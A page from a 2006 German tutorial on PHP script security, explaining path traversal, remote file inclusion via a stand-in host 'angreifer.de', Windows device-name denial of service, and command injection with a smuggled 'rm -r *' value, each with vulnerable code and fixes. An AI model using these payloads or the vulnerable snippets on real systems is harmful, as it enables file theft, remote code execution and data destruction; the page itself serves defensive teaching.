php-resource.de

PHP/ PHP INSTALLATION (WAMP und LAMP) Tutorial: Webserver, Sicherheit ist realisierbar

Diese Facharbeit beschäftigt sich mit dem Herzstück eines Netzwerkes, dem Webserver.

|23.06.2006 | me1@ | 8850 | KAT : PHP/ PHP INSTALLATION (WAMP und LAMP) | | Kommentare 0


5

10

III. Sicherheit ist realisierbar

Das zweifellos vielschichtigste Problem ist die Sicherheit bei selbstgeschriebenen Scripten. Die beste Software kann nicht vor den riesigen "Scheunentoren" helfen, die man einem vandalierendem Skript Kid aus Unkenntnis öffnet.

Es werden einige grundlegende Regeln aufgestellt und am Beispiel von PHP vertieft. Diese Scriptsprache hat in der letzten Zeit einen extremen Zulauf erlebt. Aber Unwissenheit bei Neueinsteigern führte häufig dazu, dass diese Sprache ungerechtfertigt in Misskredit geraten ist.

Deshalb werden die Sicherheitslücken vorwiegend aus den Augen des Angreifers beschrieben, um wirkungsvoll ein Bewusstsein für Schwachstellen zu schaffen.

3. Fehler in Scripten als Sicherheitslücken

Der Grundsatz "Traue niemals dem Web - validiere!" ist elementar! Bei jeder Zeile Code muss man diesen Gedanken ihm Hinterkopf behalten. Alle Daten, die von außerhalb kommen, sind prinzipiell verschmutzt, unzuverlässig und kontaminiert.

Beispiel:
Eine Seite erwartet als Parameter den Namen einer Datei, deren Quelltext gezeigt werden soll. Der Name dieser Seite kann in der folgenden Form übertragen werden:
"quelltext.php?datei=beispiel.php". Dazu sieht der entsprechende Programmcode wie folgt aus:

highlight_file($datei);

Würde man jedoch als Parameter "/etc/passwd" übergeben, bekäme man die Unix Passwortdatei präsentiert. Dieses unschuldige Schnipsel Code hätte fatale Folgen, denn ein Angreifer könnte alle Dateien auf dem Webserver lesen.

Egal, wie banal es manchmal klingt, wenn man nicht hundertprozentig darauf verzichten kann, sollte man alle einkommenden Daten auf ihre Gültigkeit überprüfen, bevor man sie einsetzt. Ebenso ist eine falsche Validierung uneffektiv, denn sie vermittelt nur das trügerisches Gefühl von Sicherheit.
Die folgenden Zeilen zeigen einige grundlegende Gefahrenquellen in Verbindung mit Daten außerhalb der so genanten Vertrauensgrenze ("trust boundary").

3.1. Daten von außerhalb - die Vertrauensgrenze

3.1.1. Richtiges Öffnen von Dateien

Der Schrägstrich "/" am Anfang einer Pfadangabe, macht dieselbige zu einer absoluten Pfadangabe - man beginnt ganz "oben". Die Zeichenkette "../" verweist auf ein Verzeichnis über dem aktuellen Verzeichnis.
Die Variable $datei im obigen Beispiel hätte man auf diese beiden Zeichenketten überprüfen müssen. Wichtig ist außerdem eine explizite Pfadangabe. Hier reicht ein einzelner Punkt als Verweis auf das aktuelle Verzeichnis aus. Eine Eingrenzung auf einen bestimmten Dateityp erhöht die Sicherheit zusätzlich:

<expliziter Pfad> <geprüfter Dateiname> <Dateiendung>

Für dieses Beispiel gibt es jedoch einen schnelleren Weg. Die PHP Funktion "basename" hat genau das geforderte Aufgabenspektrum: Sie schneidet alles heraus, was kein Dateiname sein kann. Zusätzlich sollte der Dateityp mit der Dateiendung ".php" eingeschränkt werden.

highlight_file(basename($datei). ".php");

3.1.2. Externe Dateien

PHP ist eine sehr funktionsreiche Sprache, die oft versucht, das Leben des Programmierers so angenehm wie möglich zu machen. Eine Option erlaubt es, Internetadressen wie Dateien zu behandeln. Der entsprechende Schalter "llow_url_fopen" in der Konfigurationsdatei "php.ini" ist standardmäßig aktiviert.

Beispiel:
In einer Homepage, die mehrere Sprachen anbietet, wird für jede Sprache ein eigenes Verzeichnis angelegt. In jedem dieser Verzeichnisse ist eine Datei, welche in den laufenden Programmprozess eingebunden wird:

include($sprache . "/config.php");

Unter Berücksichtigung des zuvor genannten Abschnittes wird vorausgesetzt, dass beim Programmieren auf den beginnenden Schrägstrich sowie die beiden Punkte geachtet wird.

Der Benutzer kann komfortabel in einer Liste seine Sprache auswählen, welche in dieser Form übergeben wird: "index.php?lang=de&sprache=deutsch"

Doch auch dieses Script wäre angreifbar, wenn man statt der erwarteten Pfadangabe eine Internetadresse angibt: "index.php?lang=de&sprache=http://angreifer.de". PHP würde nun die Datei "config.php" vom Angreifer lesen und ausführen.
Er könnte jetzt seinen eigenen Programmcode einfügen und hätte komplette Gewalt über die Homepage. Eine Illustration dazu befinden sich im Kapitel 4.1.

Zur Lösung dieses Problems kann man zusätzlich die Variable $sprache auf die Zeichenketten "http://" und "ftp://" prüfen, oder, wie im vorherigen Beispiel empfohlen, explizit den Pfad angeben:

include("./" . $sprache . "/config.php");

Ein einzelner Punkt reicht aus, er verweist auf das aktuelle Verzeichnis.

3.1.3. Dateien, die keine Dateien sind

Es ist allgemein bekannt, dass man Geräte unter Unix wie eine Dateien ansprechen kann. Ein Bespiel wäre "/dev/vcs", welche den Bildschirminhalt enthält. Probleme gibt es hier selten, da sich alle Geräte im Verzeichnis "/dev" befinden.

Für Windows gibt es die schon aus DOS-Zeiten bekannten Gerätenamen. Sie sind nicht an ein Verzeichnis gebunden. Windows hat die Geräte weitgehend unter Kontrolle, und erlaubt z.B. keine Verzeichnisse und Dateien, die Gerätenamen verletzen würden.

Problematisch werden Gerätenamen mit dem IIS Webserver und ASP. Eine Datei namens "C:COM1" wäre hier eine absolut gültige Datei. Öffnet man jedoch diese vermeintliche Datei, bleibt der Thread (gleichzeitig laufender Programmprozess), der die Seite bearbeitet, "hängen". Da ASP aus einem begrenzten Threadpool bedient wird, kann mit mehreren Aufrufen dieser verwundbaren Stelle, der gesamte Webserver ausgeschaltet werden. (DoS-Attacke)

Auf diese Zeichenketten muss somit zusätzlich geprüft werden: COM1 bis COM9, LPT1 bis LPT9, CON, PRN, AUX, CLOCK$, NUL.

3.1.4. Systembefehle

Jede Scriptsprache bietet die Möglichkeit, mit dem "unterliegenden" Betriebsystem direkt zu kommunizieren. Über die so genannten Systembefehle greift man auf die Funktionen des Systems zurück.

Doch für alle Aufgaben gilt: Wenn es eine Bibliothek für eine benötigte Funktion gibt, sollte man immer versuchen, diese zu nutzen. Sie existiert nicht ohne Grund. Leichtsinnig handelt man dann, wenn der Input von außerhalb ohne richtige Validierung direkt integriert wird.

Manchmal ist das Benutzen von Systembefehlen aber unausweichlich.

Beispiel:
Eine PHP Seite soll komprimierte Dateien im RAR Format anbieten. Hierfür gibt es keine standardisierte Bibliothek. Es besteht die Möglichkeit, die zlib anzusprechen, diese liest und schreibt aber nur gzip (.gz) komprimierte Dateien. Die Lösung könnte wie folgt aussehen:

$datei = preg_replace("=../|^/=", "", $datei);
exec ("rar A download_me.rar $datei");

In der ersten Zeile wird "../" und der führenden Schrägstrich entfernt. Beabsichtigt ist es, dass in der Variable $datei der Name der zu verpackenden Datei steht - wie "mustermann.txt".

Ein Problem entsteht, wenn der Inhalt von $datei so lautet: " mustermann.txt; rm -r *". Mit diesem Befehl würde rekursiv, also mit Unterverzeichnissen, alles im aktuellen Verzeichnis gelöscht werden. (Aua!). Shell Kommandos (Unix) werden mit einem Strichpunkt getrennt. Man muss demzufolge diesen herausschneiden.

Eine weitere Unsicherheit stellt das Umleitungssymbol ">" dar: " mustermann.txt > wichtig.php". Dieser Befehl überschreibt die Datei "wichtig.php" mit dem Output des Packprogramms. Ebenso gefährlich ist das Pipe-Symbol "|" , mit dem man die verschiedensten Kommandos verbinden kann.

Aufgrund dieser Problematik kennt PHP die Funktion "escapeshellcmd", welche alle potentiell gefährlichen Zeichen maskiert.

Allerdings bleiben immer noch die Leerzeichen, mit denen man Parameter für das Packprogramm setzen kann. Aus diesem Grund gibt es die PHP Funktion "escapeshellarg". Diese fügt zwei einfache Anführungszeichen ( 'Zeichenkette' ) um die Zeichenkette herum ein und maskiert alle existierenden Anführungszeichen innerhalb der Zeichenkette. So wird das komplette Ergebnis als ein Argument gewertet.

Hat die Variable $datei keinen Inhalt bekommen, und ist somit leer, benutzt das Packprogramm alle Dateien (auch das PHP Script) im aktuellen Verzeichnis. Das PHP Script wäre für Außenstehende somit einsehbar.

Navigation -> Seitenanzahl : (10)

  «  1 2 3 4 5 6 7 8 9 10  » 
Kommentare zum Tutorial
Tutorial kommentieren
 
Über den Autor
me1@

me1@

Status
Premium Mitglied

Beruf
Unbekannt

Mitglied seit:
30.04.2009

letzte Aktivität
04.06.2009

 

Tutorial bewerten

Hat Ihnen dieses Tutorial gefallen? Dann bewerten Sie es jetzt! Fünf Sterne bedeutet "Sehr gut", ein Stern "Unzureichend".



 

aktuelle Artikel

ebiz-trader 7.5.0 mit PHP7 Unterstützung veröffentlicht

ebiz-trader 7.5.0 mit PHP7 Unterstützung veröffentlichtDie bekannte Marktplatzsoftware ebiz-trader ist in der Version 7.5.0 veröffentlicht worden.

28.05.2018 | Neu | Berni

Wissensbestand in Unternehmen

Wissensbestand in UnternehmenLebenslanges Lernen und Weiterbilden sichert Wissensbestand in Unternehmen

25.05.2018 | Neu | Berni